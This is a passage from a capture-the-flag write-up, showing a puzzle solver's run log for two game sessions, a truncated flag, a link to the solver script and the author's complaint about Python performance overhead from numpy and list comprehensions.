(931319340) Use previous solution of 25123113122130031411
{'gameId': 819241584, 'layout': '25122110341213330111', 'status': 'ok'}
(819241584) Use previous solution of 25122110341213330111
(819241584) Use previous solution of 35121112341013320112
(819241584) found solution, taking 50 steps
(931319340) found solution, taking 99 steps
(931319340) Use previous solution of 51231121414141412002
(931319340) found solution, taking 82 steps
(931319340) Use previous solution of 35121112414141412002
(931319340) Use previous solution of 25122112334111414100
(931319340) Use previous solution of 05130111222241414141
(819241584) found solution, taking 139 steps
(819241584) Use previous solution of 25122110041233331111
(819241584) Use previous solution of 51301112222041414141
(819241584) Use previous solution of 35131111230221204141
(819241584) Use previous solution of 35121112412234131001
(931319340) found solution, taking 116 steps
(931319340) Use previous solution of 35131111222234131001
(931319340) Use previous solution of 22235131111341012410
Game 931319340 finished in 10 rounds, status: win
(819241584) found solution, taking 118 steps
Game 819241584 finished in 9 rounds, status: lose
Finished! status => {'flag': 'hgame{
, 'status': 'win'}
Saving 336 solutions

```

The solver script is hosted on [gist](https://gist.github.com/pnck/0e8b2c5acd0985c72c86567579846bb1).

(<https://gist.github.com/pnck/0e8b2c5acd0985c72c86567579846bb1>).

## DO NOT MESS UP WITH "HIGH-LEVEL ABSTRACTION" IN PYTHON!

I mean, the *numpy ndarray* or any other "more human-friendly" data types / abstracitons. They lack so much of optimization that over **60%** CPU time was wasted on type conversions and data recompositions. The builtin `listcomp` method ate about 20% CPU time, which was really ridiculous.

That's the real lesson I learnt from this challenge.